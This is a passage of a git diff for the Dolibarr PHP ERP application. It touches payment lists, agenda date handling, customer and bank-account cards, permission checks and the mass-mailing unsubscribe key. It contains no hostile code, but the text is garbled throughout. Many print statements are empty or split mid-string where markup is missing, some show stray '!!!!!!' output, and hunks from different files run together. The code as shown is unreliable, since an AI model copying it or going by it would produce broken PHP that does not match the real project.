&& $contextpage != $_SERVER["PHP_SELF"]) { + $param .= '&contextpage='.urlencode($contextpage); +} +if ($limit > 0 && $limit != $conf->liste_limit) { + $param .= '&limit='.urlencode($limit); +} +if ($search_ref) { + $param .= '&search_ref='.urlencode($search_ref); +} +if ($search_label) { + $param .= '&search_label='.urlencode($search_label); +} +if ($search_datep_start) { + $param .= '&search_datep_start='.urlencode($search_datep_start); +} +if ($search_datep_end) { + $param .= '&search_datep_end='.urlencode($search_datep_end); +} +if ($search_datev_start) { + $param .= '&search_datev_start='.urlencode($search_datev_start); +} +if ($search_datev_end) { + $param .= '&search_datev_end='.urlencode($search_datev_end); +} +if ($search_type_id > 0) { + $param .= '&search_type_id='.urlencode($search_type_id); +} +if ($search_amount_deb) { + $param .= '&search_amount_deb='.urlencode($search_amount_deb); +} +if ($search_amount_cred) { + $param .= '&search_amount_cred='.urlencode($search_amount_cred); +} +if ($search_bank_account > 0) { + $param .= '&search_account='.urlencode($search_bank_account); +} +if ($search_accountancy_account > 0) { + $param .= '&search_accountancy_account='.urlencode($search_accountancy_account); +} +if ($search_accountancy_subledger > 0) { + $param .= '&search_accountancy_subledger='.urlencode($search_accountancy_subledger); +} +if ($optioncss != '') { + $param .= '&optioncss='.urlencode($optioncss); +} + +$url = DOL_URL_ROOT.'/compta/bank/various_payment/card.php?action=create'; +if (!empty($socid)) { + $url .= '&socid='.urlencode($socid); +} +$newcardbutton = ''; +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('MenuNewVariousPayment'), '', 'fa fa-plus-circle', $url, '', $user->rights->banque->modifier); + +print '
      '; + +if ($optioncss != '') { + print ''; +} +print ''; +print ''; +print ''; +print ''; +print ''; +print ''; +print ''; + + +print_barre_liste($langs->trans("MenuVariousPayment"), $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, '', $num, $nbtotalofrecords, 'object_payment', 0, $newcardbutton, '', $limit, 0, 0, 1); + +if ($search_all) { + foreach ($fieldstosearchall as $key => $val) { + $fieldstosearchall[$key] = $langs->trans($val); } - $newcardbutton = dolGetButtonTitle($langs->trans('MenuNewVariousPayment'), '', 'fa fa-plus-circle', $url, '', $user->rights->banque->modifier); + print '
      '.$langs->trans("FilterOnInto", $search_all).join(', ', $fieldstosearchall).'
      '; +} - print ''; +$varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')); // This also change content of $arrayfields +$moreforfilter= ''; - if ($optioncss != '') { - print ''; - } - print ''; - print ''; - print ''; - print ''; - print ''; - print ''; +print '
      '; +print '
      '; @@ -993,10 +987,10 @@ while ($currentdaytoshow < $lastdaytoshow) { // Show days of the current week $curtime = dol_time_plus_duree($currentdaytoshow, $iter_day, 'd'); - $tmparray = dol_getdate($curtime, 'fast'); - $tmpday = $tmparray['mday']; - $tmpmonth = $tmparray['mon']; - $tmpyear = $tmparray['year']; + // $curtime is a gmt time, but we want the day, month, year in user TZ + $tmpday = dol_print_date($curtime, "%d", "tzuserrel"); + $tmpmonth = dol_print_date($curtime, "%m", "tzuserrel"); + $tmpyear = dol_print_date($curtime, "%Y", "tzuserrel"); //var_dump($curtime.' '.$tmpday.' '.$tmpmonth.' '.$tmpyear); $style = 'cal_current_month'; @@ -1134,17 +1128,22 @@ function show_day_events2($username, $day, $month, $year, $monthshown, $style, & //if ($username->id && $day==1) { //var_dump($eventarray); //} + //var_dump("------ username=".$username->login." for day=".$day); // We are in a particular day for $username, now we scan all events foreach ($eventarray as $daykey => $notused) { - $annee = dol_print_date($daykey, '%Y'); - $mois = dol_print_date($daykey, '%m'); - $jour = dol_print_date($daykey, '%d'); + $annee = dol_print_date($daykey, '%Y', 'tzuserrel'); + $mois = dol_print_date($daykey, '%m', 'tzuserrel'); + $jour = dol_print_date($daykey, '%d', 'tzuserrel'); + //var_dump("daykey=$daykey day=$day jour=$jour, month=$month mois=$mois, year=$year annee=$annee"); + + + if ($day == $jour && (int) $month == (int) $mois && $year == $annee) { // Is it the day we are looking for when calling function ? + //var_dump("day=$day jour=$jour month=$month mois=$mois year=$year annee=$annee"); - if ($day == $jour && $month == $mois && $year == $annee) { // Is it the day we are looking for when calling function ? // Scan all event for this date foreach ($eventarray[$daykey] as $index => $event) { - //print $daykey.' '.dol_print_date($daykey, 'dayhour', 'gmt').' '.$year.'-'.$month.'-'.$day.' -> '.$event->id.' '.$index.' '.$annee.'-'.$mois.'-'.$jour."
      \n"; + //print 'daykey='.$daykey.'='.dol_print_date($daykey, 'dayhour', 'gmt').' '.$year.'-'.$month.'-'.$day.' -> This event: '.$event->id.' '.$index.' is open for this daykey '.$annee.'-'.$mois.'-'.$jour."
      \n"; //var_dump($event); $keysofuserassigned = array_keys($event->userassigned); @@ -1353,7 +1352,7 @@ function show_day_events2($username, $day, $month, $year, $monthshown, $style, & } } - // Now output $casesX + // Now output $casesX from start hour to end hour for ($h = $begin_h; $h < $end_h; $h++) { $color1 = ''; $color2 = ''; $style1 = ''; $style2 = ''; @@ -1435,7 +1434,7 @@ function show_day_events2($username, $day, $month, $year, $monthshown, $style, & $title2 = $langs->trans("Ref").' '.$ids2.($title2 ? ' - '.$title2 : ''); $color2 = '222222'; } - print ''; + print '
      '; print '"; print ''; - // Mode de reglement par defaut + // Default payment mode print ''; + + print '\n"; + + // Payment mode + print '\n"; + + // Date + print '\n"; + + print ''; + + print ''; + + print ''; + + print ''; +} + +print '
      fetch($id); $object->code_compta_client = GETPOST("customeraccountancycode"); @@ -169,7 +169,7 @@ if (empty($reshook)) { } } - // terms of the settlement + // Payment terms of the settlement if ($action == 'setconditions' && $user->rights->societe->creer) { $object->fetch($id); $result = $object->setPaymentTerms(GETPOST('cond_reglement_id', 'int'), GETPOST('cond_reglement_id_deposit_percent', 'alpha')); @@ -178,7 +178,7 @@ if (empty($reshook)) { } } - // mode de reglement + // Payment mode if ($action == 'setmode' && $user->rights->societe->creer) { $object->fetch($id); $result = $object->setPaymentMethods(GETPOST('mode_reglement_id', 'int')); @@ -187,7 +187,7 @@ if (empty($reshook)) { } } - // transport mode + // Transport mode if ($action == 'settransportmode' && $user->rights->societe->creer) { $object->fetch($id); $result = $object->setTransportMode(GETPOST('transport_mode_id', 'alpha')); @@ -421,7 +421,7 @@ if ($object->id > 0) { print "
      '; print ''; if (isModEnabled("banque")) { - // Compte bancaire par défaut + // Default bank account for payments print '"; } + // Other attributes + $parameters = array(); + $reshook = $hookmanager->executeHooks('formObjectOptions', $parameters, $bankline, $action); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + if (empty($reshook)) { + print $bankline->showOptionals($extrafields, ($objp->rappro ? 'view' : 'create'), $parameters); + } print "
      '; print $langs->trans('PaymentMode'); @@ -440,7 +440,7 @@ if ($object->id > 0) { print '
      '; print '
      '; print $langs->trans('PaymentBankAccount'); @@ -642,16 +642,16 @@ if ($object->id > 0) { print "
      "; + print '
      '; + // Prospection level and status if ($object->client == 2 || $object->client == 3) { - print '
      '; - print '
      '; print ''; // Level of prospection print ''; + $type = (GETPOSTISSET('type') ? GETPOST('type', 'int') : $object->type); // add default current value + if ($type == Account::TYPE_SAVINGS || $type == Account::TYPE_CURRENT) { + print '"; + } + // Conciliable print ''; print ''; @@ -991,7 +1045,7 @@ if ($action == 'create') { } print '
      '; - print '"; - - print ''; + print '
      '; + print ''; print "
      '; print $langs->trans('ProspectLevel'); print ''; if ($action != 'editlevel' && $user->rights->societe->creer) { @@ -683,10 +683,11 @@ if ($object->id > 0) { } print '
      "; - } - print '
      '; - print '
      '; + print '
      '; + } else { + print '

      '; + } $boxstat = ''; @@ -695,10 +696,10 @@ if ($object->id > 0) { // Lien recap $boxstat .= '
      '; - $boxstat .= ''; + $boxstat .= '
      '; $boxstat .= ''; - print ''; + print ''; $datem = $db->jdate($obj->dv); print ''; - echo ''; + echo ''; echo ''; echo ''; echo ''; } // Bordereau @@ -1561,6 +1561,7 @@ if ($resql) { $companylinked_id = 0; $userlinked_id = 0; + $type_link = ""; //payment line type to define user display and user or company linked foreach ($links as $key => $value) { diff --git a/htdocs/compta/bank/card.php b/htdocs/compta/bank/card.php index a923f3a0829..6f08fb17054 100644 --- a/htdocs/compta/bank/card.php +++ b/htdocs/compta/bank/card.php @@ -51,10 +51,11 @@ if (isModEnabled('accounting')) { } // Load translation files required by the page -$langs->loadLangs(array("banks", "bills", "categories", "companies", "compta")); +$langs->loadLangs(array("banks", "bills", "categories", "companies", "compta", "withdrawals")); $action = GETPOST('action', 'aZ09'); $cancel = GETPOST('cancel', 'alpha'); +$backtopage = GETPOST('backtopage', 'alpha'); $object = new Account($db); $extrafields = new ExtraFields($db); @@ -140,6 +141,9 @@ if (empty($reshook)) { $object->proprio = trim(GETPOST("proprio", 'alphanohtml')); $object->owner_address = trim(GETPOST("owner_address", 'alphanohtml')); + $object->owner_zip = trim(GETPOST("owner_zip", 'alphanohtml')); + $object->owner_town = trim(GETPOST("owner_town", 'alphanohtml')); + $object->owner_country_id = GETPOST("owner_country_id", 'int'); $object->ics = trim(GETPOST("ics", 'alpha')); $object->ics_transfer = trim(GETPOST("ics_transfer", 'alpha')); @@ -241,6 +245,9 @@ if (empty($reshook)) { $object->proprio = trim(GETPOST("proprio", 'alphanohtml')); $object->owner_address = trim(GETPOST("owner_address", 'alphanohtml')); + $object->owner_zip = trim(GETPOST("owner_zip", 'alphanohtml')); + $object->owner_town = trim(GETPOST("owner_town", 'alphanohtml')); + $object->owner_country_id = GETPOST("owner_country_id", 'int'); $object->ics = trim(GETPOST("ics", 'alpha')); $object->ics_transfer = trim(GETPOST("ics_transfer", 'alpha')); @@ -374,6 +381,7 @@ if ($action == 'create') { print ''; print ''; print ''; + print ''; print dol_get_fiche_head(''); @@ -422,7 +430,8 @@ if ($action == 'create') { print ''; print ''; + $type = (GETPOSTISSET("type") ? GETPOST('type', 'int') : Account::TYPE_CURRENT); // add default value + if ($type == Account::TYPE_SAVINGS || $type == Account::TYPE_CURRENT) { + print '"; + } + // Web print ''; print ''; print ''; + $ibankey = FormBank::getIBANLabel($object); + $bickey = "BICNumber"; + if ($object->getCountryCode() == 'IN') { + $bickey = "SWIFT"; + } + + // IBAN + print ''; + print ''; + + // BIC + print ''; + print ''; + // Show fields of bank account $sizecss = ''; foreach ($object->getFieldsToShow() as $val) { + $content = ''; if ($val == 'BankCode') { $name = 'code_banque'; $sizecss = 'minwidth100'; @@ -534,35 +566,20 @@ if ($action == 'create') { } print ''; - print ''; + print ''; print ''; } - $ibankey = FormBank::getIBANLabel($object); - $bickey = "BICNumber"; - if ($object->getCountryCode() == 'IN') { - $bickey = "SWIFT"; - } - - // IBAN - print ''; - print ''; - - print ''; - print ''; if (isModEnabled('paymentbybanktransfer')) { - print ''; - print ''; + print ''; } + print '
      '; - if (isModEnabled("propal") && $user->rights->propal->lire) { + if (isModEnabled("propal") && $user->hasRight('propal', 'lire')) { // Box proposals $tmp = $object->getOutstandingProposals(); $outstandingOpened = $tmp['opened']; @@ -719,7 +720,7 @@ if ($object->id > 0) { } } - if (isModEnabled('commande') && $user->rights->commande->lire) { + if (isModEnabled('commande') && $user->hasRight('commande', 'lire')) { // Box commandes $tmp = $object->getOutstandingOrders(); $outstandingOpened = $tmp['opened']; @@ -740,7 +741,7 @@ if ($object->id > 0) { } } - if (isModEnabled('facture') && $user->rights->facture->lire) { + if (isModEnabled('facture') && $user->hasRight('facture', 'lire')) { // Box factures $tmp = $object->getOutstandingBills('customer', 0); $outstandingOpened = $tmp['opened']; @@ -819,7 +820,7 @@ if ($object->id > 0) { /* * Latest proposals */ - if (isModEnabled("propal") && $user->rights->propal->lire) { + if (isModEnabled("propal") && $user->hasRight('propal', 'lire')) { $langs->load("propal"); $sql = "SELECT s.nom, s.rowid, p.rowid as propalid, p.fk_statut, p.total_ht"; @@ -914,7 +915,7 @@ if ($object->id > 0) { /* * Latest orders */ - if (isModEnabled('commande') && $user->rights->commande->lire) { + if (isModEnabled('commande') && $user->hasRight('commande', 'lire')) { $param =""; $sql = "SELECT s.nom, s.rowid"; @@ -1123,7 +1124,7 @@ if ($object->id > 0) { /* * Latest contracts */ - if (isModEnabled('contrat') && $user->rights->contrat->lire) { + if (isModEnabled('contrat') && $user->hasRight('contrat', 'lire')) { $sql = "SELECT s.nom, s.rowid, c.rowid as id, c.ref as ref, c.statut as contract_status, c.datec as dc, c.date_contrat as dcon, c.ref_customer as refcus, c.ref_supplier as refsup, c.entity,"; $sql .= " c.last_main_doc, c.model_pdf"; $sql .= " FROM ".MAIN_DB_PREFIX."societe as s, ".MAIN_DB_PREFIX."contrat as c"; @@ -1231,7 +1232,7 @@ if ($object->id > 0) { /* * Latest interventions */ - if (isModEnabled('ficheinter') && $user->rights->ficheinter->lire) { + if (isModEnabled('ficheinter') && $user->hasRight('ficheinter', 'lire')) { $sql = "SELECT s.nom, s.rowid, f.rowid as id, f.ref, f.fk_statut, f.duree as duration, f.datei as startdate, f.entity"; $sql .= " FROM ".MAIN_DB_PREFIX."societe as s, ".MAIN_DB_PREFIX."fichinter as f"; $sql .= " WHERE f.fk_soc = s.rowid"; @@ -1317,7 +1318,7 @@ if ($object->id > 0) { /* * Latest invoices templates */ - if (isModEnabled('facture') && $user->rights->facture->lire) { + if (isModEnabled('facture') && $user->hasRight('facture', 'lire')) { $sql = 'SELECT f.rowid as id, f.titre as ref'; $sql .= ', f.total_ht'; $sql .= ', f.total_tva'; @@ -1412,13 +1413,13 @@ if ($object->id > 0) { /* * Latest invoices */ - if (isModEnabled('facture') && $user->rights->facture->lire) { + if (isModEnabled('facture') && $user->hasRight('facture', 'lire')) { $sql = 'SELECT f.rowid as facid, f.ref, f.type'; $sql .= ', f.total_ht'; $sql .= ', f.total_tva'; $sql .= ', f.total_ttc'; $sql .= ', f.entity'; - $sql .= ', f.datef as df, f.datec as dc, f.paye as paye, f.fk_statut as status'; + $sql .= ', f.datef as df, f.date_lim_reglement as dl, f.datec as dc, f.paye as paye, f.fk_statut as status'; $sql .= ', s.nom, s.rowid as socid'; $sql .= ', SUM(pf.amount) as am'; $sql .= " FROM ".MAIN_DB_PREFIX."societe as s,".MAIN_DB_PREFIX."facture as f"; @@ -1426,7 +1427,7 @@ if ($object->id > 0) { $sql .= " WHERE f.fk_soc = s.rowid AND s.rowid = ".((int) $object->id); $sql .= " AND f.entity IN (".getEntity('invoice').")"; $sql .= ' GROUP BY f.rowid, f.ref, f.type, f.total_ht, f.total_tva, f.total_ttc,'; - $sql .= ' f.entity, f.datef, f.datec, f.paye, f.fk_statut,'; + $sql .= ' f.entity, f.datef, f.date_lim_reglement, f.datec, f.paye, f.fk_statut,'; $sql .= ' s.nom, s.rowid'; $sql .= " ORDER BY f.datef DESC, f.datec DESC"; @@ -1440,7 +1441,7 @@ if ($object->id > 0) { print ''; print ''; - print ''; - print ''; + print ''; $datem = $db->jdate($obj->dp); print '
      '; + print ''; print ''; @@ -1457,6 +1458,8 @@ if ($object->id > 0) { $facturestatic->total_tva = $objp->total_tva; $facturestatic->total_ttc = $objp->total_ttc; $facturestatic->statut = $objp->status; + $facturestatic->date = $db->jdate($objp->df); + $facturestatic->date_lim_reglement = $db->jdate($objp->dl); print ''; print ''; if ($objp->df > 0) { - print ''; + print ''; } else { - print ''; + print ''; + } + if ($objp->dl > 0) { + print ''; + } else { + print ''; } print ''; print ''; - print ''; + print ''; print ''; print ''; @@ -889,7 +889,7 @@ if (isModEnabled('contrat') && $user->rights->contrat->lire && 0) { // TODO A RE /* * Opened (validated) proposals */ -if (isModEnabled("propal") && $user->rights->propal->lire) { +if (isModEnabled("propal") && $user->hasRight("propal", "lire")) { $sql = "SELECT p.rowid as propalid, p.entity, p.total_ttc, p.total_ht, p.total_tva, p.ref, p.ref_client, p.fk_statut, p.datep as dp, p.fin_validite as dfv"; $sql .= ", s.rowid as socid, s.nom as name, s.name_alias"; $sql .= ", s.code_client, s.code_compta, s.client"; @@ -971,7 +971,7 @@ if (isModEnabled("propal") && $user->rights->propal->lire) { print '
      '.$langs->trans("LastCustomersBills", ($num <= $MAXLIST ? "" : $MAXLIST)).''.$langs->trans("AllBills").''.$num.''; print ''; print '
      '.$langs->trans("LastCustomersBills", ($num <= $MAXLIST ? "" : $MAXLIST)).''.$langs->trans("AllBills").''.$num.''.img_picto($langs->trans("Statistics"), 'stats').'
      '; @@ -1492,9 +1495,14 @@ if ($object->id > 0) { //print $formfile->getDocumentsLink($facturestatic->element, $filename, $filedir); print ''.dol_print_date($db->jdate($objp->df), 'day').''.dol_print_date($db->jdate($objp->df), 'day').'!!!!!!'.dol_print_date($db->jdate($objp->dl), 'day').'!!!'; print price($objp->total_ht); @@ -1531,7 +1539,7 @@ if ($object->id > 0) { } print ''; - print '
      '; + print '
      '; print dol_get_fiche_end(); @@ -1549,12 +1557,12 @@ if ($object->id > 0) { print ''; } - if (isModEnabled("propal") && $user->rights->propal->creer && $object->status == 1) { + if (isModEnabled("propal") && $user->hasRight('propal', 'creer') && $object->status == 1) { $langs->load("propal"); print ''; } - if (isModEnabled('commande') && $user->rights->commande->creer && $object->status == 1) { + if (isModEnabled('commande') && $user->hasRight('commande', 'creer') && $object->status == 1) { $langs->load("orders"); print ''; } @@ -1564,7 +1572,7 @@ if ($object->id > 0) { print ''; } - if (isModEnabled('ficheinter') && $user->rights->ficheinter->creer && $object->status == 1) { + if (isModEnabled('ficheinter') && $user->hasRight('ficheinter', 'creer') && $object->status == 1) { $langs->load("fichinter"); print ''; } diff --git a/htdocs/comm/index.php b/htdocs/comm/index.php index 15f94043b1c..bdc865160a5 100644 --- a/htdocs/comm/index.php +++ b/htdocs/comm/index.php @@ -61,20 +61,17 @@ if (isset($user->socid) && $user->socid > 0) { $socid = $user->socid; } + $max = $conf->global->MAIN_SIZE_SHORTLIST_LIMIT; +$maxofloop = (empty($conf->global->MAIN_MAXLIST_OVERLOAD) ? 500 : $conf->global->MAIN_MAXLIST_OVERLOAD); $now = dol_now(); -// Security check -$socid = GETPOST("socid", 'int'); -if ($user->socid > 0) { - $action = ''; - $id = $user->socid; -} else { - $id = 0; +//restrictedArea($user, 'societe', $socid, '&societe', '', 'fk_soc', 'rowid', 0); +if (!$user->hasRight('propal', 'read') && !$user->hasRight('supplier_proposal', 'read') && !$user->hasRight('commande', 'read') && !$user->hasRight('fournisseur', 'commande', 'read') + && !$user->hasRight('supplier_order', 'read') && !$user->hasRight('fichinter', 'read')) { + accessforbidden(); } -restrictedArea($user, 'societe', $id, '&societe', '', 'fk_soc', 'rowid', 0); -$maxofloop = (empty($conf->global->MAIN_MAXLIST_OVERLOAD) ? 500 : $conf->global->MAIN_MAXLIST_OVERLOAD); /* @@ -129,7 +126,7 @@ if ($tmp) { * Draft customer proposals */ -if (isModEnabled("propal") && $user->rights->propal->lire) { +if (isModEnabled("propal") && $user->hasRight("propal", "lire")) { $sql = "SELECT p.rowid, p.ref, p.ref_client, p.total_ht, p.total_tva, p.total_ttc, p.fk_statut as status"; $sql .= ", s.rowid as socid, s.nom as name, s.name_alias"; $sql .= ", s.code_client, s.code_compta, s.client"; @@ -166,7 +163,7 @@ if (isModEnabled("propal") && $user->rights->propal->lire) { $obj = $db->fetch_object($resql); if ($i >= $max) { - $othernb += 1; + $othernb++; $i++; $total += (!empty($conf->global->MAIN_DASHBOARD_USE_TOTAL_HT) ? $obj->total_ht : $obj->total_ttc); continue; @@ -227,7 +224,7 @@ if (isModEnabled("propal") && $user->rights->propal->lire) { * Draft supplier proposals */ -if (isModEnabled('supplier_proposal') && $user->rights->supplier_proposal->lire) { +if (isModEnabled('supplier_proposal') && $user->hasRight("supplier_proposal", "lire")) { $sql = "SELECT p.rowid, p.ref, p.total_ht, p.total_tva, p.total_ttc, p.fk_statut as status"; $sql .= ", s.rowid as socid, s.nom as name, s.name_alias"; $sql .= ", s.code_client, s.code_compta, s.client"; @@ -324,7 +321,7 @@ if (isModEnabled('supplier_proposal') && $user->rights->supplier_proposal->lire) * Draft sales orders */ -if (isModEnabled('commande') && $user->rights->commande->lire) { +if (isModEnabled('commande') && $user->hasRight('commande', 'lire')) { $sql = "SELECT c.rowid, c.ref, c.ref_client, c.total_ht, c.total_tva, c.total_ttc, c.fk_statut as status"; $sql .= ", s.rowid as socid, s.nom as name, s.name_alias"; $sql .= ", s.code_client, s.code_compta, s.client"; @@ -422,7 +419,7 @@ if (isModEnabled('commande') && $user->rights->commande->lire) { * Draft purchase orders */ -if ((isModEnabled("fournisseur") && empty($conf->global->MAIN_USE_NEW_SUPPLIERMOD) && $user->rights->fournisseur->commande->lire) || (isModEnabled("supplier_order") && $user->rights->supplier_order->lire)) { +if ((isModEnabled("fournisseur") && empty($conf->global->MAIN_USE_NEW_SUPPLIERMOD) && $user->hasRight("fournisseur", "commande", "lire")) || (isModEnabled("supplier_order") && $user->hasRight("supplier_order", "lire"))) { $sql = "SELECT cf.rowid, cf.ref, cf.ref_supplier, cf.total_ht, cf.total_tva, cf.total_ttc, cf.fk_statut as status"; $sql .= ", s.rowid as socid, s.nom as name, s.name_alias"; $sql .= ", s.code_client, s.code_compta, s.client"; @@ -517,7 +514,7 @@ if ((isModEnabled("fournisseur") && empty($conf->global->MAIN_USE_NEW_SUPPLIERMO /* - * Draft interventionals + * Draft interventions */ if (isModEnabled('ficheinter')) { $sql = "SELECT f.rowid, f.ref, s.nom as name, f.fk_statut"; @@ -546,13 +543,12 @@ if (isModEnabled('ficheinter')) { if ($resql) { $num = $db->num_rows($resql); $nbofloop = min($num, $maxofloop); + startSimpleTable("DraftFichinter", "fichinter/list.php", "search_status=".Fichinter::STATUS_DRAFT, 2, $num); - print '
      '; - print ''; - print ''; - print ''; + //print ''; + //print ''; - if ($num) { + if ($num > 0) { $i = 0; while ($i < $nbofloop) { $obj = $db->fetch_object($resql); @@ -585,6 +581,10 @@ if (isModEnabled('ficheinter')) { $i++; } } + + addSummaryTableLine(3, $num, $nbofloop, $total, "NoIntervention"); + finishSimpleTable(true); + print "
      '.$langs->trans("DraftFichinter").'
      '.$langs->trans("DraftFichinter").'
      "; } } @@ -811,7 +811,7 @@ if (((isModEnabled("fournisseur") && empty($conf->global->MAIN_USE_NEW_SUPPLIERM /* * Latest contracts */ -if (isModEnabled('contrat') && $user->rights->contrat->lire && 0) { // TODO A REFAIRE DEPUIS NOUVEAU CONTRAT +if (isModEnabled('contrat') && $user->hasRight("contrat", "lire") && 0) { // TODO A REFAIRE DEPUIS NOUVEAU CONTRAT $staticcontrat = new Contrat($db); $sql = "SELECT s.rowid as socid, s.nom as name, s.name_alias"; @@ -868,7 +868,7 @@ if (isModEnabled('contrat') && $user->rights->contrat->lire && 0) { // TODO A RE print '
      '.$staticcontrat->getNomUrl(1).''.$companystatic->getNomUrl(1, 'customer', 44).''.$companystatic->getNomUrl(1, 'customer').''.$staticcontrat->LibStatut($obj->statut, 3).'
      '; print '
      '.$companystatic->getNomUrl(1, 'customer', 44).''.$companystatic->getNomUrl(1, 'customer').''; print dol_print_date($datem, 'day', 'tzserver'); @@ -1008,7 +1008,7 @@ if (isModEnabled("propal") && $user->rights->propal->lire) { /* * Opened (validated) order */ -if (isModEnabled('commande') && $user->rights->commande->lire) { +if (isModEnabled('commande') && $user->hasRight('commande', 'lire')) { $sql = "SELECT c.rowid as commandeid, c.total_ttc, c.total_ht, c.total_tva, c.ref, c.ref_client, c.fk_statut, c.date_valid as dv, c.facture as billed"; $sql .= ", s.rowid as socid, s.nom as name, s.name_alias"; $sql .= ", s.code_client, s.code_compta, s.client"; @@ -1091,7 +1091,7 @@ if (isModEnabled('commande') && $user->rights->commande->lire) { print '
      '; print '
      '.$companystatic->getNomUrl(1, 'customer', 44).''.$companystatic->getNomUrl(1, 'customer').''; print dol_print_date($datem, 'day', 'tzserver'); diff --git a/htdocs/comm/mailing/card.php b/htdocs/comm/mailing/card.php index 72ec408524c..443444859eb 100644 --- a/htdocs/comm/mailing/card.php +++ b/htdocs/comm/mailing/card.php @@ -43,18 +43,21 @@ require_once DOL_DOCUMENT_ROOT.'/core/class/extrafields.class.php'; $langs->load("mails"); $id = (GETPOST('mailid', 'int') ? GETPOST('mailid', 'int') : GETPOST('id', 'int')); + $action = GETPOST('action', 'aZ09'); -$cancel = GETPOST('cancel'); $confirm = GETPOST('confirm', 'alpha'); +$cancel = GETPOST('cancel', 'aZ09'); $urlfrom = GETPOST('urlfrom'); +// Initialize technical objects $object = new Mailing($db); - -$result = $object->fetch($id); - $extrafields = new ExtraFields($db); -// fetch optionals attributes and labels +if ($id > 0) { + $result = $object->fetch($id); +} + +// Fetch optionals attributes and labels $extrafields->fetch_name_optionals_label($object->table_element); // Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context @@ -98,6 +101,32 @@ if ($reshook < 0) { } if (empty($reshook)) { + $error = 0; + + $backurlforlist = DOL_URL_ROOT.'/comm/mailing/list.php'; + + if (empty($backtopage) || ($cancel && empty($id))) { + if (empty($backtopage) || ($cancel && strpos($backtopage, '__ID__'))) { + if (empty($id) && (($action != 'add' && $action != 'create') || $cancel)) { + $backtopage = $backurlforlist; + } else { + $backtopage = DOL_URL_ROOT.'/comm/mailing/card.php?id='.((!empty($id) && $id > 0) ? $id : '__ID__'); + } + } + } + + if ($cancel) { + /*var_dump($cancel);var_dump($backtopage);var_dump($backtopageforcancel);exit;*/ + if (!empty($backtopageforcancel)) { + header("Location: ".$backtopageforcancel); + exit; + } elseif (!empty($backtopage)) { + header("Location: ".$backtopage); + exit; + } + $action = ''; + } + // Action clone object if ($action == 'confirm_clone' && $confirm == 'yes') { if (!GETPOST("clone_content", 'alpha') && !GETPOST("clone_receivers", 'alpha')) { @@ -174,9 +203,9 @@ if (empty($reshook)) { $thirdpartystatic = new Societe($db); // Loop on each email and send it - $i = 0; + $iforemailloop = 0; - while ($i < $num && $i < $conf->global->MAILING_LIMIT_SENDBYWEB) { + while ($iforemailloop < $num && $iforemailloop < $conf->global->MAILING_LIMIT_SENDBYWEB) { // Here code is common with same loop ino mailing-send.php $res = 1; $now = dol_now(); @@ -196,7 +225,6 @@ if (empty($reshook)) { $signature = ((!empty($user->signature) && empty($conf->global->MAIN_MAIL_DO_NOT_USE_SIGN)) ? $user->signature : ''); - $targetobject = null; // Not defined with mass emailing $parameters = array('mode'=>'emailing'); $substitutionarray = getCommonSubstitutionArray($langs, 0, array('object', 'objectamount'), $targetobject); // Note: On mass emailing, this is null because be don't know object @@ -222,9 +250,9 @@ if (empty($reshook)) { $substitutionarray['__OTHER5__'] = $other5; $substitutionarray['__USER_SIGNATURE__'] = $signature; // Signature is empty when ran from command line or taken from user in parameter) $substitutionarray['__SENDEREMAIL_SIGNATURE__'] = $signature; // Signature is empty when ran from command line or taken from user in parameter) - $substitutionarray['__CHECK_READ__'] = ''; - $substitutionarray['__UNSUBSCRIBE__'] = ''.$langs->trans("MailUnsubcribe").''; - $substitutionarray['__UNSUBSCRIBE_URL__'] = DOL_MAIN_URL_ROOT.'/public/emailing/mailing-unsubscribe.php?tag='.urlencode($obj->tag).'&unsuscrib=1&securitykey='.urlencode($conf->global->MAILING_EMAIL_UNSUBSCRIBE_KEY).'&email='.urlencode($obj->email).'&mtid='.$obj->rowid; + $substitutionarray['__CHECK_READ__'] = ''; + $substitutionarray['__UNSUBSCRIBE__'] = ''.$langs->trans("MailUnsubcribe").''; + $substitutionarray['__UNSUBSCRIBE_URL__'] = DOL_MAIN_URL_ROOT.'/public/emailing/mailing-unsubscribe.php?tag='.urlencode($obj->tag).'&unsuscrib=1&securitykey='.dol_hash($conf->global->MAILING_EMAIL_UNSUBSCRIBE_KEY.'-'.$obj->tag.'-'.$obj->email.'-'.$obj->rowid, "md5").'&email='.urlencode($obj->email).'&mtid='.((int) $obj->rowid); $onlinepaymentenabled = 0; if (isModEnabled('paypal')) { @@ -297,7 +325,7 @@ if (empty($reshook)) { $newmessage = make_substitutions($message, $substitutionarray, null, 0); $moreinheader = ''; - if (preg_match('/__UNSUBSCRIBE__/', $message)) { + if (preg_match('/__UNSUBSCRIBE_(_|URL_)/', $message)) { $moreinheader = "List-Unsubscribe: <__UNSUBSCRIBE_URL__>\n"; $moreinheader = make_substitutions($moreinheader, $substitutionarray); } @@ -339,7 +367,7 @@ if (empty($reshook)) { // Mail successful $nbok++; - dol_syslog("comm/mailing/card.php: ok for #".$i.($mail->error ? ' - '.$mail->error : ''), LOG_DEBUG); + dol_syslog("comm/mailing/card.php: ok for #".$iforemailloop.($mail->error ? ' - '.$mail->error : ''), LOG_DEBUG); $sql = "UPDATE ".MAIN_DB_PREFIX."mailing_cibles"; $sql .= " SET statut=1, date_envoi = '".$db->idate($now)."' WHERE rowid=".((int) $obj->rowid); @@ -347,7 +375,7 @@ if (empty($reshook)) { if (!$resql2) { dol_print_error($db); } else { - //if cheack read is use then update prospect contact status + //if check read is use then update prospect contact status if (strpos($message, '__CHECK_READ__') !== false) { //Update status communication of thirdparty prospect $sql = "UPDATE ".MAIN_DB_PREFIX."societe SET fk_stcomm=2 WHERE rowid IN (SELECT source_id FROM 